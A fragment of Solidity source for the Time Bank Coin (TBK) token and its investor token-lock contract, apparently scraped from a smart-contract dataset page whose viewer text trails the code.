return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
contract TbkToken is Claimable, Contactable, HasNoEther, FreezableToken {
// @dev Constructor initial token info
function TbkToken(){
uint256 _decimals = 18;
uint256 _supply = 1000000000*(10**_decimals);
_totalSupply = _supply;
balances[msg.sender] = _supply;
name = "Time Bank Coin";
symbol = "TBK";
decimals = _decimals;
contactInformation = "Time Bank Contact Email:info@tbkchain.io";
}
}
contract TbkTokenLock is Ownable, HasNoEther {
using SafeMath for uint256;
// @dev How many investors we have now
uint256 public investorCount;
// @dev How many tokens investors have claimed so far
uint256 public totalClaimed;
uint256 public tokensAllocatedTotal;
// must hold as much as tokens
uint256 public tokensAtLeastHold;
struct balance{
address investor;
uint256 amount;
uint256 freezeEndAt;
bool claimed;
}
mapping(address => balance[]) public balances;
// @dev How many tokens investors have claimed
mapping(address => uint256) public claimed;
// @dev token
FreezableToken public token;
// @dev We allocated tokens for investor
event Invested(address investor, uint256 amount, uint256 hour);
// @dev We distributed tokens to an investor
event Distributed(address investors, uint256 count);
function TbkTokenLock(address _owner, address _token) {
require(_owner != 0x0);
require(_token != 0x0);
owner = _owner;
token = FreezableToken(_token);
}
// @dev can only withdraw rest of investor's tokens
function withdrawLeftTokens() onlyOwner {
token.transfer(owner, token.balanceOf(address(this))-tokensAtLeastHold);
}
// @dev Get the current balance of tokens
// @return uint256 How many tokens there are currently
function getBalance() public constant returns (uint256) {
return token.balanceOf(address(this));
}
}
| 339,757 | 12,099 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.